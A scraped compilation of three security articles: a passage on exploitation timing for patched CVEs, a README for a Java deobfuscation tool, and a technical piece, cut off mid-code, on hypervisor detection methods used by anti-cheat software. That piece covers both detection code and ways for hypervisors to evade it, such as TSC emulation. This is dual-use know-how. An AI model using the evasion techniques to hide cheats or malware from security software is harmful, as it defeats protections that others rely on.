release, CVE-2018-2628 and CVE-2018-7602. Days 12 percent of vulnerabilities were exploited within the first week following the patch release. One Month 15 percent of vulnerabilities were exploited after one week but within one month of patch release. Years In multiple cases, such as the first observed exploitation of CVE-2010-1871 and CVE-2012-0874 in 2019, attackers exploited vulnerabilities for which a patch had been made available many years prior. Table 1: Exploitation timing for patched vulnerabilities ranges from within hours of patch issuance to years after initial disclosure Case Studies We continue to observe espionage and financially motivated groups quickly leveraging publicly disclosed vulnerabilities in their operations. The following examples demonstrate the speed with which sophisticated groups are able to incorporate vulnerabilities into their toolsets following public disclosure and the fact that multiple disparate groups have repeatedly leveraged the same vulnerabilities in independent campaigns. Successful operations by these types of groups are likely to have a high potential impact. Figure 3: Timeline of activity for CVE-2018-15982 CVE-2018-15982: A use after free vulnerability in a file package in Adobe Flash Player 31.0.0.153 and earlier that, when exploited, allows an attacker to remotely execute arbitrary code. This vulnerability was exploited by espionage groups—Russia's APT28 and North Korea's APT37—as well as TEMP.MetaStrike and other financially motivated attackers. Figure 4: Timeline of activity for CVE-2018-20250 CVE-2018-20250: A path traversal vulnerability exists within the ACE format in the archiver tool WinRAR versions 5.61 and earlier that, when exploited, allows an attacker to locally execute arbitrary code. This vulnerability was exploited by multiple espionage groups, including Chinese, North Korean, and Russian, groups, as well as Iranian groups APT33 and TEMP.Zagros. Figure 5: Timeline of Activity for CVE-2018-4878 CVE-2018-4878: A use after free vulnerability exists within the DRMManager’s “initialize” call in Adobe Flash Player 28.0.0.137 and earlier that, when exploited, allows an attacker to remotely execute arbitrary code. Mandiant Intelligence confirmed that North Korea’s APT37 exploited this vulnerability as a zero-day as early as September 3, 2017. Within 8 days of disclosure, we observed Russia’s APT28 also leverage this vulnerability, with financially motivated attackers and North Korea’s TEMP.Hermit also using within approximately a month of disclosure. Availability of PoC or Exploit Code The availability of POC or exploit code on its own does not always increase the probability or speed of exploitation. However, we believe that POC code likely hastens exploitation attempts for vulnerabilities that do not require user interaction. For vulnerabilities that have already been exploited, the subsequent introduction of publicly available exploit or POC code indicates malicious actor interest and makes exploitation accessible to a wider range of attackers. There were a number of cases in which certain vulnerabilities were exploited on a large scale within 48 hours of PoC or exploit code availability (Table 2). Time Between PoC or Exploit Code Publication and First Observed Potential Exploitation Events Product CVE FireEye Risk Rating 1 day WinRAR CVE-2018-20250 Medium 1 day Drupal CVE-2018-7600 High 1 day Cisco Adaptive Security Appliance CVE-2018-0296 Medium 2 days Apache Struts CVE-2018-11776 High 2 days Cisco Adaptive Security Appliance CVE-2018-0101 High 2 days Oracle WebLogic Server CVE-2018-2893 High 2 days Microsoft Windows Server CVE-2018-8440 Medium 2 days Drupal CVE-2019-6340 Medium 2 days Atlassian Confluence CVE-2019-3396 High Table 2: Vulnerabilities exploited within two days of either PoC or exploit code being made publicly available, Q1 2018–Q3 2019 Trends by Targeted Products FireEye judges that malicious actors are likely to most frequently leverage vulnerabilities based on a variety of factors that influence the utility of different vulnerabilities to their specific operations. For instance, we believe that attackers are most likely to target the most widely used products (see Figure 6). Attackers almost certainly also consider the cost and availability of an exploit for a specific vulnerability, the perceived success rate based on the delivery method, security measures introduced by vendors, and user awareness around certain products. The majority of observed vulnerabilities were for Microsoft products, likely due to the ubiquity of Microsoft offerings. In particular, vulnerabilities in software such as Microsoft Office Suite may be appealing to malicious actors based on the utility of email attached documents as initial infection vectors in phishing campaigns. Figure 6: Exploited vulnerabilities by vendor, Q1 2018–Q3 2019 Outlook and Implications The speed with which attackers exploit patched vulnerabilities emphasizes the importance of patching as quickly as possible. With the sheer quantity of vulnerabilities disclosed each year, however, it can be difficult for organizations with limited resources and business constraints to implement an effective strategy for prioritizing the most dangerous vulnerabilities. In upcoming blog posts, FireEye Mandiant Threat Intelligence describes our approach to vulnerability risk rating as well as strategies for making informed and realistic patch management decisions in more detail. We recommend using this exploitation trend information to better prioritize patching schedules in combination with other factors, such as known active threats to an organization's industry and geopolitical context, the availability of exploit and PoC code, commonly impacted vendors, and how widely software is deployed in an organization's environment may help to mitigate the risk of a large portion of malicious activity. Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar. Sursa: https://www.fireeye.com/blog/threat-research/2020/04/time-between-disclosure-patch-release-and-vulnerability-exploitation.html

Threadtear Threadtear is a multifunctional deobfuscation tool for java. Suitable for easier code analysis without worrying too much about obfuscation. Even the most expensive obfuscators like ZKM or Stringer are included. It also contains older deobfuscation tools from my github account. Executions An "execution" is a task that is executed and modifies all loaded class files. There are multiple types of executions, varying from bytecode cleanup to string deobfuscation. Make sure to have them in the right order. Cleanup executions for example should be executed at last. Warning Use this tool at your own risk. Some executions use implemented ClassLoaders to run code from the jar file, an attacker could tweak the file so that malicious code would be executed. Affected executions use the class me.nov.threadtear.asm.vm.VM. These are mostly used for decrypting string or resource obfuscation. How to compile First, run gradle build, then gradle fatJar. In builds/libs a runnable jar file should then have been created. Make your own execution You can easily create your own execution task. Just extend me.nov.threadtear.execution.Execution: public class MyExecution extends Execution { public MyExecution() { super(ExecutionCategory.CLEANING /* category */, "My execution" /* name */, "Executes something" /* description, can use html */); } /** * This method is invoked when the user clicks on the Run button * @return true if success, false if failure */ @Override public boolean execute(ArrayList<Clazz> classes, boolean verbose, boolean ignoreErrors) { classes.stream().map(c -> c.node).forEach(c -> { //transform the classes here using the tree-API of ASM }); return false; } } To load ClassNodes at runtime, use the me.nov.threadtear.asm.vm.VM class and implement me.nov.threadtear.asm.vm.IVMReferenceHandler: public class MyExecution extends Execution implements IVMReferenceHandler { public MyExecution() { super(ExecutionCategory.GENERIC, "My execution", "Loads ClassNodes at runtime"); } @Override public boolean execute(ArrayList<Clazz> classes, boolean verbose, boolean ignoreErrors) { classes.stream().map(c -> c.node).forEach(c -> { VM vm = VM.constructVM(this); //transform bytecode to java.lang.Class Class<?> loadedClass = vm.loadClass(c.name.replace('/', '.'), true); //do stuff with your class here loadedClass.getMethods[0].invoke(...); return true; }); } /** * Will get invoked by VM, when VM.loadClass is called */ @Override public ClassNode tryClassLoad(String name) { //try to find the class to be loaded in open jar archive return classes.stream().map(c -> c.node).filter(c -> c.name.equals(name)).findFirst().orElse(null); } } Don't forget to add your execution to the tree in me.nov.threadtear.swing.component.dialog.ExecutionSelection! Libraries needed commons-io 2.6, darklaf-1.3.3.4, asm-all 8+ License Threadtear is licensed under the GNU General Public License 3.0 Notice Do not deobfuscate any file that doesn't belong to you. Please open an issue or send me an email if a transformer doesn't work properly and attach the log. Note that output files are most likely not runnable. If you still want to try to run them use -noverify as JVM argument! This tool is intended for Java 8 but it will probably run on higher versions too. Note that not everything written in this README is implemented yet. Sursa: https://github.com/GraxCode/threadtear

Apr 13, 2020 :: Daax, iPower, ajkhoury, drew :: [ anti-cheats, hypervisors, easy-anti-cheat, battleye ] How anti-cheats detect system emulation Overview As our first article addressing the various methods of detecting the presence of VMMs, whether commercial or custom, we wanted to be thorough and associate it with our research on popular anti-cheat vendors. To kick off the article it’s important for those outside of the game hacking arena to understand the usage of hypervisors for cheating, and the importance of anti-cheats staying on top of cheat providers using them. This post will cover a few standard detection methods that can be used for both Intel/AMD; offering an explanation, a mitigation, and a general rating of efficacy. We’ll then get into a side-channel attack that can be employed - platform agnostic - that is highly efficient. We’ll then get into some OS specific methods that abuse some mishandling of descriptor table information in WoW64, and ways to block custom methods of syscall hooking like technique documented on the Reverse Engineering blog. The more interesting part covers the actual methods used by BattlEye and EasyAntiCheat. We will cover improvements that could be made, and general efficacy of their methods. This is by no means a jab at the anti-cheats as keeping up with the technology and latest ways to abuse the technology is difficult. They perform their job pretty well, and like any software have holes. This is intended to help those interested in understanding how both sides operate, and the various ways attackers/defenders can defeat/employ virtualization detections. We’ll conclude the article with some dumps of miscellaneous data from NtDeviceIoControlFile/IofCallDriver calls in the two anti-cheats. This isn’t related to hypervisors, but we figured while we investigated - why not? Let’s dig in. Hypervisor Prevalence The advent of hypervisors (VMM) brought with it a lot of hype in the security research community. This hype also spurred interest in some not-so-research based circles like cheating/malware communities where the end goal was to use a hypervisor to emulate system behavior/hide presence. Various new technologies like EPT allowed attackers to abuse certain features like EPTP switching or page hooks to hide information from probes of security software. As this technology gained popularity, many open-source projects were released to help the security community understand how to go about developing tools leveraging it. This also meant that questionable communities looking to conceal themselves began using these open-source projects, and one of those was the game hacking community. The main benefit for anti-cheats was that many pay-to-cheat providers began using slightly modified open-source versions of the tools. These open-source tools were meant for educational purposes and weren’t hardened against the many attacks that could reveal their presence. Anti-cheats use this lack of induration to detect hackers using custom/open-source projects and attempt to cull the herd. However, in recent times, as research on the technologies improves and becomes more widespread the original detection vectors are becoming less effective. Knowing this, we will look at methods of detecting if a hypervisor is currently running on a machine. There are many detection vectors, and we wanted to detail a handful of techniques ranging from ineffective to super effective. The cat-and-mouse game will continue, but it should require more innovation on the opposing side. It’s our opinion that anti-cheats have stagnated in this arena, and we want to provide more information on why we feel that way. Standard Detection Methods This section is going to cover some platform specific methods of detecting hypervisors. The majority of open-source hypervisors are built for use on Intel processors, so there will be more vectors covered. Many of the methods can be applied to AMD as well, despite it being supported less by anti-cheats and cheat providers. Garbage Write to unimplemented MSR Both Intel and AMD support the use of a bitmap referred to as the MSR bitmap/MSR permissions bitmap, respectively. This bitmap allows the VMM to control whether rdmsr of the specific MSR causes a VM-exit. This bitmap only covers a specific range of MSR values from 0000-1FFF and C0000000-C0001FFF. This means that any reads/writes to MSRs outside of that range could have undefined behavior when VMX/SVM is enabled. One way that security software, be it anti-cheat or anti-malware, could leverage this information is to check whether an MSR access to an MSR outside of the range causes an exception to be generated. If a write is performed on real hardware to an unimplemented/reserved MSR address the processor will generate a general-protection exception. However, some open-source hypervisors do not discard writes to invalid/unimplemented MSRs and will write through, causing the system instability. In order to mitigate this, rdmsr performed on an unimplemented/reserved MSR address should inject #GP to the guest. This is not a very effective method of detection, in any case. Debug Exception (#DB) w/ TF A common method of determining if a specific open-source hypervisor is used is to check if the #DB exception is delivered on the proper instruction boundary when executing an exiting instruction with the EFLAGS.TF set. This occurs when single-step debug exceptions are not properly handled. A simple method of detection is to create a detection routine similar to this: pushfq or dword ptr [rsp], 0100h mov eax, 0FFFFFFFFh popfq <exiting_inst> nop ret Detecting this particular platform requires the use of VEH to check RIP and determine if the single-step trap flag is set. Prior to executing the detection procedure that will trigger the exception we’ll need to modify the debug registers, and then set the thread context. It’s important to remember that you need to preserve modification of the debug registers in the ContextFlags and enable the proper bit so that the breakpoint condition is set for all tasks. Once the breakpoint is detected and is associated with the proper DR7 flag, a debug exception is generated. The processor doesn’t clear these flags on task switch which allows for the breakpoint to apply to all tasks. When the exception is delivered, our exception handler we registered will check RIP and determine if #DB was delivered on the correct instruction. On real hardware, the exception will be delivered on the <exiting_inst> whereas when in a virtualized environment with this oversight it will be delivered on nop. This method is effective at detecting the specific open-source platform, and mitigation is already documented on a members blog located here. However, despite the publication it’s still present in many cheat providers. XSETBV The interesting part of the XSETBV instruction is that it is one of the few instructions that cause VM exits unconditionally. We can leverage this attribute of the XSETBV instruction to detect hypervisor presence. This method of detecting hypervisor presence relies on causing an exception in the host XSETBV VM-exit handler. Since most known private and public mini hypervisor implementations blindly execute the XSETBV instruction in the host XSETBV handler, if we execute XSETBV in a way that the guest state should cause a fault, we can cause the host to fault under these naïve hypervisor implementations. First, we must determine under which conditions XSETBV will cause a fault. With this we see there are several ways to force a general-protection fault (#GP). This documentation tells us that bit 0 must always be set, and that executing the instruction with ECX = 0 and EAX[0] = 0 will cause a #GP. Here’s an example of how we can cause a fault in the host: UINT64 XCR0 = _xgetbv(0); __try { // // Clear the bit 0 of XCR0 to cause a #GP(0)! // _xsetbv(0, XCR0 & ~1); } __except(EXCEPTION_EXECUTE_HANDLER) { // // If we get here, the host has properly handled XSETBV and injected a // #GP(0) into the guest. // LOG_DEBUG("1337!"); } Running under a naïve hypervisor implementation which handle XSETBV as such, caused the host to fault, resulting in a bugcheck. This is what we wanted! The naïve hypervisor implementation for handling this instruction would look like this: VMM_EVENT_STATUS HVAPI VmmHandleXsetbv(PVIRTUAL_CPU VirtualCpu) { UINT32 Xcr; ULARGE_INTEGER XcrValue; Xcr = (UINT32)VirtualCpu->Context->Rcx; XcrValue.u.LowPart = (UINT32)VirtualCpu->Context->Rax; XcrValue.u.HighPart = (UINT32)VirtualCpu->Context->Rdx; // // Blindly execute XSETBV with whatever the guest gives us, because we // trust our guest :) // _xsetbv(Xcr, XcrValue.QuadPart); return VMM_HANDLED_ADVANCE_RIP; } You might be wondering - is it safe to cause a bugcheck like this? Well, no. A properly written hypervisor implementation will not cause a bugcheck when making use of SEH - but most hypervisors used for cheating purposes are unable to use SEH when their driver is mapped into the kernel by exploiting some third-party driver. There are ways to achieve SEH in an unsigned driver, but this is out of the scope of the article. Running on bare metal or under a hypervisor with proper XSETBV emulation will simply output 1337!. Other than annoying your users, how can this be used as a reliable detection vector? Registering a bugcheck callback! This is a handy way to execute code after a bugcheck has occurred, and manipulate data written to the crash dump. The logic is as follows: Register bugcheck callback. Save a magic number and GUID as part of the dump. Parse dump on next boot. This is a lot of work, so here is a small piece of the work needing to be done: KBUGCHECK_REASON_CALLBACK_RECORD BugCheckCallbackRecord = {0}; BOOLEAN BugCheckCallbackRegistered = FALSE; static const UINT64 MagicNumber = 0x1337133713371337; // b4911b81-7b73-4f2b-afcc-3b7ce3e1480c static const GUID MagicDriverGuid = {0xb4911b81, 0x7b73, 0x4f2b, {0xaf, 0xcc, 0x3b, 0x7c, 0xe3, 0xe1, 0x48, 0x0c} }; VOID BugCheckCallbackRoutine(KBUGCHECK_CALLBACK_REASON Reason, struct _KBUGCHECK_REASON_CALLBACK_RECORD* Record, PVOID ReasonSpecificData, UINT32 ReasonSpecificDataLength) { PKBUGCHECK_SECONDARY_DUMP_DATA SecondaryDumpData; SecondaryDumpData = (PKBUGCHECK_SECONDARY_DUMP_DATA)ReasonSpecificData; SecondaryDumpData->Guid = MagicDriverGuid; SecondaryDumpData->OutBuffer = (PVOID)&MagicNumber; SecondaryDumpData->OutBufferLength = sizeof(MagicNumber); } // // ... // KeInitializeCallbackRecord(&BugCheckCallbackRecord); BugCheckCallbackRegistered = KeRegisterBugCheckReasonCallback(&BugCheckCallbackRecord, BugCheckCallbackRoutine, KbCallbackSecondaryDumpData, (PUINT8)"secret.club"); if (!BugCheckCallbackRegistered) { return STATUS_UNSUCCESSFUL; } Mitigating this type of detection is time consuming, but important. The best rule to follow: Read the SDM/APM for the architecture. Here is an example of a properly implemented XSETBV VM-exit handler: static BOOLEAN VmmpIsValidXcr0(UINT64 Xcr0) { // FP must be unconditionally set. if (!(Xcr0 & X86_XCR0_FP)) { return FALSE; } // YMM depends on SSE. if ((Xcr0 & X86_XCR0_YMM) && !(Xcr0 & X86_XCR0_SSE)) { return FALSE; } // BNDREGS and BNDCSR must be the same. if ((!(Xcr0 & X86_XCR0_BNDREGS)) != (!(Xcr0 & X86_XCR0_BNDCSR))) { return FALSE; } // Validate AVX512 xsave feature bits. if (Xcr0 & X86_XSTATE_MASK_AVX512) { // OPMASK, ZMM, and HI_ZMM require YMM. if (!(Xcr0 & X86_XCR0_YMM)) { return FALSE; } // OPMASK, ZMM, and HI_ZMM must be the same. if (~Xcr0 & (X86_XCR0_OPMASK | X86_XCR0_ZMM | X86_XCR0_HI_ZMM)) { return FALSE; } } // XCR0 feature bits are valid! return TRUE; } VMM_EVENT_STATUS HVAPI VmmHandleXsetbv(PVIRTUAL_CPU VirtualCpu) { UINT32 Xcr; ULARGE_INTEGER XcrValue; Xcr = (UINT32)VirtualCpu->Context->Rcx; // Make sure the guest is not trying to write to a bogus XCR. // switch(Xcr) { case X86_XCR_XFEATURE_ENABLED_MASK: break; default: HV_DBG_BREAK(); GPFault: VmxInjectGP(VirtualCpu, 0); return VMM_NOT_HANDLED; } XcrValue.u.LowPart = (UINT32)VirtualCpu->Context->Rax; XcrValue.u.HighPart = (UINT32)VirtualCpu->Context->Rdx; // Make sure the guest is not trying to set any unsupported bits. // if (XcrValue.QuadPart & ~GetSupportedXcr0Bits()) { HV_DBG_BREAK(); goto GPFault; } // Make sure bits being set are architecturally valid. // if (!VmmpIsValidXcr0(XcrValue.QuadPart)) { HV_DBG_BREAK(); goto GPFault; } // By this point, the XCR value should be accepted by hardware. // _xsetbv(Xcr, XcrValue.QuadPart); return VMM_HANDLED_ADVANCE_RIP; } LBR Virtualization Tracing interrupts, messages, branches, and such is a very useful feature implemented on Intel hardware through the IA32_DEBUGCTL MSR. In particular, some hypervisors take advantage of last branch recording (LBR) and branch tracing to track down branches in obfuscated products such as anti-cheats. Since some anti-cheat products spoof return addresses one can utilize LBR/BTS to trace the exact location where a branch occurred. This was noticed in quite a few anti-cheats for private CS:GO leagues. Below is a brief sample of what this detection may look like: mov rcx, 01D9h xor rdx, rdx wrmsr rdmsr shl rdx, 20h ; EDX:EAX for wrmsr or rax, rdx jmp check_msr check_msr: test al, 1 jnz no_detect mov al, 1 ret no_detect: xor rax, rax xor rdx, rdx mov rdx, 01D9h wrmsr ret This would roughly translate to: __writemsr(IA32_DEBUGCTL, DEBUGCTL_LBR | DEBUGCTL_BTS); res = __readmsr(IA32_DEBUGCTL); if(!(res & DEBUGCTL_LBR)) return 1; return 0; More importantly there would be checks for potential exceptions that could be thrown. This has been seen in various league anti-cheats for CS:GO, and is quite effective at determining if LBR/BTS virtualization is used. So, how would someone mitigate this check? The answer is just by injecting a #GP into the guest, which is what real hardware will do when LBR/BTS isn’t supported. LBR Stack Checks In addition to the above check, an anti-cheat could implement a detection based on the usage of saved/loaded LBR information between VMX transitions. Since many open-source projects don’t handle store/load of LBR information appropriately an anti-cheat could force a VM-exit through use of an unconditionally exiting instruction like CPUID. After the execution, they would need to check the last branch taken from the LBR stack after resuming guest operation. If the target address doesn’t match the expected value it would mean that some introspective engine is present. // Save current LBR top of stack auto last_branch_taken_pre = __read_lbr_tos(); // Force VM-exit with CPUID __cpuid(0, &regs); // Save post VM-exit LBR top of stack auto last_branch_taken_post = __read_lbr_tos(); // Compare last branch taken if(last_branch_taken_pre != last_branch_taken_post) return TRUE; This would be quite effective at catching hypervisors leveraging LBR but not properly handling the storage of LBR information. The LBR stack consists of pairs of MSRs that store the last branch source and target addresses. There are 8 MSRs associated with these listed below. // Last Branch Source Addresses MSR_LASTBRANCH_0_FROM_IP MSR_LASTBRANCH_N-1_FROM_IP // Last Branch Target Addresses MSR_LASTBRANCH_0_TO_IP MSR_LASTBRANCH_N-1_TO_IP And the MSR_LASTBRANCH_TOS which is the MSR containing the LBR top of stack pointer. With this and knowledge of the VM-exit/VM-entry MSR-store areas documented in the Intel SDM we can save the LBR stack and top of stack when a VM-exit is encountered, then restore them on VM-entry to the guest. The LBR stack size can be determined from this table: The hypervisor would need to have an area allocated where you would then store the values of the LBR stack information, and then write the load/store count and address to the respective VMCS fields:VMCS_VM_EXIT_MSR_(LOAD/STORE)_COUNT and VMCS_VM_EXIT_MSR_(LOAD/STORE)_ADDRESS. This will successfully prevent LBR stack checks from catching the VMM. Synthetic MSRs Synthetic MSRs are commonly used by hypervisor platforms to report information to the guest about the host. Hyper-V, VMware, and VirtualBox are examples of commercial hypervisors that implement Synthetic MSRs. You will commonly see them implemented in the range 40000000h - 400000FFh, as this range is marked as a reserved range. It’s documented that future processors will never use this range for any features. There are also some MSRs that are not implemented in current processors on the market, however, they have a valid MSR address. When queried using rdmsr the platform will typically generate a general protection exception (#GP). However, when in a virtualized environment a read to an unimplemented address could yield undefined results. As an example would be reading from MSR addresses 2 to 5, on VMware, will provide random data and not generate an exception. Probes to the reserved range mentioned above and any unimplemented MSR addresses could be used to determine if the current system is virtualized. To combat this the hypervisor should force any accesses to the reserved or unimplemented MSRs to inject a #GP into the guest. A simple detection would look something like this: BOOLEAN KiSyntheticMsrCheck(VOID) { #define HV_SYNTHETIC_MSR_RANGE_START 0x40000000 __try { __readmsr( HV_SYNTHETIC_MSR_RANGE_START ); } __except(EXCEPTION_EXECUTE_HANDLER) { return FALSE; } return TRUE; } The check is useful for determining if a commercial hypervisor is being used since most investigated implement an MSR in this range. CRn Access Exiting Hypervisors that improperly handle control register access exits are at risk of being detected much like the bug discovered in VMware by a member of ours, drew. It was determined that the VMware hypervisor was not properly emulating processor behavior. He’s already done the honors of writing about it, and the use cases for detecting and methods of mitigation are proposed on his blog. CRn Access Exiting | VMware Bug CRn Mask & VMX Availability For each position corresponding to a bit clear in the CRx guest/host mask, the destination operand is loaded with the value of the corresponding bit in CRx. For each position corresponding to a bit set in the CRx guest/host mask, the destination operand is loaded with the value of the corresponding bit in the CRx read shadow. Thus, if every bit is cleared in the CRx guest/host mask, MOV from CRx reads normally from CRx; if every bit is set in the CRx guest/host mask, MOV from CRx returns the value of the CRx read shadow. TL;DR: Where a bit is set in the guest/host mask, the shadow bit appears. Where a bit is not in the guest/host mask, the actual bit appears. A VM-exit occurs when a guest attempts to modify any of the bits set in the guest/host mask. Based on this, hypervisors may set the CR4.VMXE bit to 0 in the CR4 read shadow while having the guest/host mask for CR4 set that bit to 1. This would mean that if a guest were to read the value of that bit they would get 0. However, the bug that can be exploited on some platforms is that they signal VMXE being disabled, but VMX instructions still execute. That’s not possible, and is a blatant indication that virtualization is being used. The fix for this would be to inject an undefined opcode exception (#UD) into the guest on execution of a VMX instruction if you intend to mask off the VMXE bit. Some public platforms inject #GP(0) to the guest for execution of VMX instructions as opposed to #UD which is the proper exception. This is also indicative of presence. CPUID Leaf Comparisons A quick method similar to the reserved MSR address ranges is the check reserved CPUID responses against what their values would normally be. As an example, the leaf 40000000h is a CPUID leaf marked reserved by the architecture and is most commonly used for reporting capabilities of a VMM. There are two options which is to check against an invalid leaf or a leaf that returns the same data. Two examples are below. This first example displays using an invalid CPUID leaf to determine if the system is virtualized. UINT64 UmpIsSystemVirtualized(void) { unsigned int invalid_leaf = 0x13371337; unsigned int valid_leaf = 0x40000000; struct _HV_DETAILS { unsigned int Data[4]; }; _HV_DETAILS InvalidLeafResponse = { 0 }; _HV_DETAILS ValidLeafResponse = { 0 }; __cpuid( &InvalidLeafResponse, invalid_leaf ); __cpuid( &ValidLeafResponse, valid_leaf ); if( ( InvalidLeafResponse.Data[ 0 ] != ValidLeafResponse.Data[ 0 ] ) || ( InvalidLeafResponse.Data[ 1 ] != ValidLeafResponse.Data[ 1 ] ) || ( InvalidLeafResponse.Data[ 2 ] != ValidLeafResponse.Data[ 2 ] ) || ( InvalidLeafResponse.Data[ 3 ] != ValidLeafResponse.Data[ 3 ] ) ) return STATUS_HV_DETECTED; return STATUS_HV_NOT_PRESENT; } This second example uses the highest low function leaf to compare data to what would be given on a real system. UINT64 UmpIsSystemVirtualized2(void) { cpuid_buffer_t regs; __cpuid((int32_t*)&regs, 0x40000000); cpuid_buffer_t reserved_regs; __cpuid((int32_t*)&reserved_regs, 0); __cpuid((int32_t*)&reserved_regs, reserved_regs.eax); if (reserved_regs.eax != regs.eax || reserved_regs.ebx != regs.ebx || reserved_regs.ecx != regs.ecx || reserved_regs.edx != regs.edx) return STATUS_HV_DETECTED; return STATUS_HV_NOT_PRESENT; } Advanced Detection Methods This section will cover a advanced detection methods that, while reliable, can be much more difficult to implement and some may require further inspection of results after execution. The cache side-channel attacks are very different. One of the cache side-channels that can be used is super simple, but quite effective. We’ll also cover the standard timing attacks and their flaws prior to addressing the anti-cheat methods discovered. INVD/WBINVD This method is used to determine if the hypervisor emulates the INVD instruction properly. As is expected, many public platforms do not emulate the instruction appropriately leaving a detection vector wide open. This method was supplied by a member of ours, drew, who uses it and corroborates its effectiveness. pushfq cli push 1 ; Set cache data wbinvd ; Flush writeback data set from previous instruction to system memory. mov byte ptr [rsp], 0 ; Set memory to 0. This is in WB memory so it will not be in system memory. invd ; Flush the caches but do not write back to system memory. Real hardware will result in loss of previous operation. pop rax ; Proper system behaviour will have AL = 1; Hypervisor/emulator that uses WBINVD or does nothing will have AL = 0. popfq ret The subtle behaviors of a real system should be emulated properly to avoid this type of detection. It’s present on a handful of open-source hypervisor platforms. As an exercise to the reader, try to determine how to mitigate this side-channel. There are many other cache side-channels; the most common is gathering statistics on cache misses and locating conflicting cache sets. These can be hit or miss depending on implementation and require lots of testing prior to implementation to ensure very few, if any, false positives. These types of solutions require making sure that the prefetcher is unable to determine cache usage by randomizing cache set accesses and ensuring that new reads from a cache set are correct in terms of how many lines are read, whether the valid cache lines were probed properly, and so on. It’s a very involved process, so we didn’t plan on including the implementation of such a check in this article. The above method is example is enough to be validated, and we encourage you to validate it as well! Be aware that this can cause #GP(0) if SGX is used. RDTSC/CPUID/RDTSC If you’ve done performance profiling, or worked on sandbox detection for anti-malware (or more questionable purposes), you’ve likely used or encountered this sort of timing check. There’s plenty of literature covering the details of this attack, and in most cases it’s relatively effective. However, hypervisor developers are becoming more clever and have devised methods of reducing the time discrepancies to a very low margin. This timing attack used to determine if a system is virtualized or not is common in anti-cheats as a baseline detection vector. It’s also used by malware to determine if it is sandboxed. In terms of effectiveness, we’d say it’s very effective. The solution, while somewhat confusing, passes the pafish checks and anti-cheat checks. We won’t be divulging any code, but let’s briefly go over the logic. We know that timing attacks query the timestamp counter twice, either by direct use of the IA32_TIMESTAMP_COUNTER MSR or the intrinsic __rdtsc. Typically there will be instructions in between. Those instructions will cause VM-exits, typically, so the idea is to emulate the cycle count yourself - adding to an emulated cycle counter. You could use a disassembler, add an average, or devise a method that’s much more accurate. Trace from the first rdtsc instruction to the second, add an average cycle count to the emulated counter. No TSC offsetting, or other feature is utilized - though you can, for example, take advantage of the MTF. You will also need to determine an average number of cycles the VM transitions take and subtract that from the emulated counter. The typical average is between 1.2k - 2k cycles on modern processors. Successfully implementing the solution, while not perfect, yields better results than the majority of tested solutions presented in literature and passes the virtualization checks devised. It’s important when attempting to implement the solution to not get bogged down with unnecessary details like SMIs, or how to synchronize (you do have to have a counter that is invariant across logical processors though). Keep it simple, silly. IET Divergence As an opposition to the standard timing attack we offer a more novel approach that doesn’t rely on the timestamp counter and requires much more effort to spoof. It has been briefly mentioned in a post here, and we decided to go into a little more detail. IET divergence is the measurement and comparison of instruction execution time (IET) using two different instructions. Similar to the rdtsc;cpuid;rdtsc combination, IET divergence test uses a counter to profile two instructions, calculate the average execution time, and then compare the two instructions’ results. This detection method uses the actual performance counter accessed through IA32_APERF MSR instead of the timestamp counter. As discussed before the TSC can be emulated with relative ease, and poses a threat to standard detection methods. Spoofing the APERF counter is much more difficult and isn’t as simple as forcing a VM-exit on the APERF MSR and performing similar operations as the TSC emulation. The test works like this: Disable interrupts. Setup registers for profiling loop. Capture a starting clock count for an instruction (cpuid). Execute with the same leaf every time, and capture end clock count. Calculate the difference in clock count for that loop. Store result in CPUID_IET array. Repeat for second candidate instruction. Repeat loop N times for a more refined timing profile. Choosing the instructions is the most difficult part to this check as you will need to use an unconditionally exiting instruction to ensure that if a VMM is present the processor traps into it. The ideal candidate would be cpuid, but the second instruction must be chosen with care. It’s average IET must be longer than cpuid on real hardware, otherwise the check is pointless. The whole point is to compare the execution times of one instruction to an instruction that takes longer on real systems, because in a virtual environment cpuid will consume a lot of cycles before completing. The candidate instruction should take longer than the profiling target, not be a an instruction that could be trapped by the hypervisor, and can be setup relatively easily. The IET divergence test is used by some anti-cheats as a counter to the more advanced hypervisors used for cheating. A sample implementation is shown below. cli xor r8d, r8d mov ecx, IA32_APERF_MSR rdmsr shl rdx, 20h or rax, rdx mov r9, rax lea rsi, [rsp+20h] xor eax, eax cpuid mov [rsi], eax mov [rsi+4], ebx mov [rsi+8], ecx mov [rsi+0Ch], edx mov ecx, IA32_APERF_MSR rdmsr shl rdx, 20h or rax, rdx mov rdx, [rsp+30h] sub rax, r9 mov [rdx+r8*8], rax ; ; TODO: ; Capture comparable instruction IET. ; Store result. ; Loop. Break at end. ; Enable interrupts. ; End profile. ; This is an incomplete implementation and the steps would need to be repeated for the second instruction that executes longer than cpuid. The choosing of the second instruction is important to getting clear results. That being said, the effectiveness of this detection method is quite remarkable as it will catch even the most well hardened hypervisors. If you have a platform and are interested in researching the products that use this we encourage you to exit on APERF accesses and give some of the private anti-cheats a look. WoW64 Descriptor Table This is a detail that is missed by most publicly available mini hypervisors, although one of them, hvpp, properly handles this common oversight. As we already know WoW64 runs code in compatibility mode to support execution of 32-bit x86 (i686) code. Although WoW64 itself runs code in compatibility mode, a hypervisor will still execute natively as x64 code. This can be confusing when a hypervisor is configured to trap on GDT/IDT accesses since a real processor will only write 6 bytes to a descriptor table register when running in compatibility mode, rather than 10 bytes when running in long mode. Not handling this correctly is a common mistake that makes for an easy detection. Let’s brain on how we can detect this. First thing we need is to be running in compatibility mode at CPL 0. This needs to be done at CPL 0 since Windows makes use of the User-Mode Instruction Prevention (UMIP) x86 security feature. We can temporarily drop into protected mode ourselves very briefly from Ring-0. This is a lot of work, but it’s the way to implement this detection. Alternatively, it is theoretically possible that one could synchronize WoW64 user mode code to execute a SIDT/SGDT instruction after a kernel thread has temporarily disabled CR4.UMIP. {:.aside} If you figured out how to get into compatibility/protected mode, here is the juicy detection itself: UINT8 Descriptor[10]; *(UINT32 *)&Descriptor[6] = 0x13371337; __sgdt(Descriptor); if (*(UINT32 *)&Descriptor[6] != 0x13371337) { // Gotcha! } It works by checking if the hypervisor has accidentally written 4 extra bytes to our descriptor memory. It really is that simple! The mitigation is relatively trivial and requires that the VMM check if the current segment is a long mode segment, and write the proper length. This is what mitigation for SIDT would look like. We’ll leave the mitigation for SGDT up to the reader. VmcsReadGuestGdtEntry(X86_REG_CS, &SegmentDesc); switch (InstructionInfo.Bits.InstructionIdentity) { case VMX_GDT_IDT_IDENTITY_SIDT: Descriptor->Limit = (u16)VmcsRead32(VMCS_GUEST_IDTR_LIMIT); if 